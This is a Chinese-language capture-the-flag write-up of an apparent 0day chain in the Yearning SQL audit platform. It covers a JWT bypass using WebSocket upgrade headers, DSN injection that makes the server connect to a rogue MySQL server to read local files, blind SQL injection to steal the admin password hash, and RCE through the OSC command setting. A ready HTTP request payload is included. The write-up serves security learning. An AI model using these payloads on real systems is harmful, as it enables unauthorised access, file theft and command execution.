前言
非常好的一道题,是个0day题,应该是我这年打比赛遇到最好的题目之一了。
题解
权限绕过
题目给的Yearning版本是3.1.7,是最新版,老版本的有个目录穿越洞,但现在肯定是没有的了。然后当时先是审计了下他自己写的Yee这个框架,确实是没发现什么洞。之后就Yearning本身来看了,远程环境密码和JWT的SECRET_KEY
是改了的,然后寻找权限绕过的地方。
然后注意到这里 middleware.JWTWithConfig
这个中间件
本意是想升级为 WebSocket 连接,但后续有部分接口并没有再校验 JWT,导致了权限绕过
我们HTTP请求头部加上
Connection: upgrade
Upgrade: websocket
就能绕过鉴权访问部分接口
注意这里只能访问没有校验JWT的接口,像这些会再解析JWT的接口是用不了的
原因是 JwtParse
会从ctx中去 auth
而我们并没有登录,所以并没有往上下文写 auth
,所以获得的 user 是 nil
,会抛出一个空指针的错误,后续流程就断了
寻找可用的接口
比赛时我找了个可用的接口,确实是和现有wp给的是一样的, /api/v2/fetch/fields
这个接口
这个接口没有校验 JWT,同时他的一些参数是可控的
所以一个办法是利用可控的 DBName
先来看看他是怎么连数据库的吧
model.NewDBSub
这里会将其配置初始化为DSN字符串
内部调了 cfg.FormatDSN()
来格式化DSN字符串
目前 cfg.DBName
我们是可控的,所以我们尝试可以构造这样的DName:@tcp(yourip:yourport)/dbname?allowAllFiles=true#
这样经过格式化处理最终得到的 DSN 就是 user:password@(127.0.0.1:3306)/@tcp(yourip:yourport)/dbname?allowAllFiles=true#
然后调用 gorm 发起连接,而这里又用 go-sql-driver 1.7.1 的 mysql.ParseDSN
将原来的 DSN 字符串解析为Config,而且关键他是从后往前解析的(从后往前解析是为了适配用户名或密码中出现 /
的问题),所以解析得到的倒数第一个 /
到 ?
之间的是数据库名,倒数第一个 @
之前是用户名和密码,之后为ip:port
所以解析出来的 host 和 port我们都是可控的,而且也可以添加 allowAllFiles=true
参数关闭 LOAD DATA LOCAL INFILE
的白名单限制 https://github.com/go-sql-driver/mysql?tab=readme-ov-file#load-data-local-infile-support
关于mysql读文件的可以参考 MySQL客户端任意文件读取
我们起一个恶意的mysql服务器,客户端发起的mysql连接,利用 LOAD DATA LOCAL INFILE
来读取远程服务器的文件
这里使用 https://github.com/rmb122/rogue_mysql_server
然后我们可以构造如下payload来发起一个mysql连接
GET /api/v2/fetch/fields?data_base=%40tcp(YOURIP%3aYOURPORT)/dbname%3fallowAllFiles%3dtrue%26&table=1 HTTP/1.1
Host: 111.229.88.145:8000
Connection: upgrade
Upgrade: websocket
Connection: close
这里注意下不能用 #
截断后面的参数,用&
连接
另外值得注意的是这里我们原本是要从对应 source_id
参数查找数据库中的密码进行解密操作的,但这里解密失败了正常处理了错误,所以后续流程并不会终止
成功读取远程服务器文件
出题人的预期解
出题人的预期解还是这个接口,不同的是利用了下面的sql注入来完成对admin密码的窃取
不过这个有个问题目标服务器有可用的数据源,且我们得知道目标服务上的 source_id
u.DataBase
和 u.Table
我们是可控的
if err := db.Raw(fmt.Sprintf("SHOW FULL FIELDS FROM `%s`.`%s`", u.DataBase, u.Table)).Scan(&u.Rows).Error; err != nil {
return err
}
在 SHOW 语句中,我们可以注入一个 where 语句
existed` where 1=if(1=1,1,0)#
利用这个盲注可以得到admin的密码,然后利用 hashcat 对密码进爆破
之后登录后台
利用 OSC 来完成RCE
IsOSC = true
OscSize = 1
OSCExpr = bash -c "touch hacker"
在设置面板中按照上述方式配置 Yearning
ALTER TABLE yearning.aaa
ADD COLUMN bbb varchar(20) DEFAULT '' COMMENT 'bbb'
CREATE TABLE aaa AS
SELECT *
FROM information_schema.COLUMNS;
运行上面2个DDL,执行命令
总结
总的来说是一道非常精彩的题目,越权这个当时做题时还是找到了的,这个接口也是看了的,但确实对go不是很了解,尤其时 go-sql-driver
<= 1.7.1的解析DSN的特性。现在看来确实是学到了很多
然后关于 go-sql-driver
,在1.8 版本处理了 dbname
中的特殊字符,使用 url.PathEscape(cfg.DBName)
进行了处理 https://github.com/go-sql-driver/mysql/pull/1432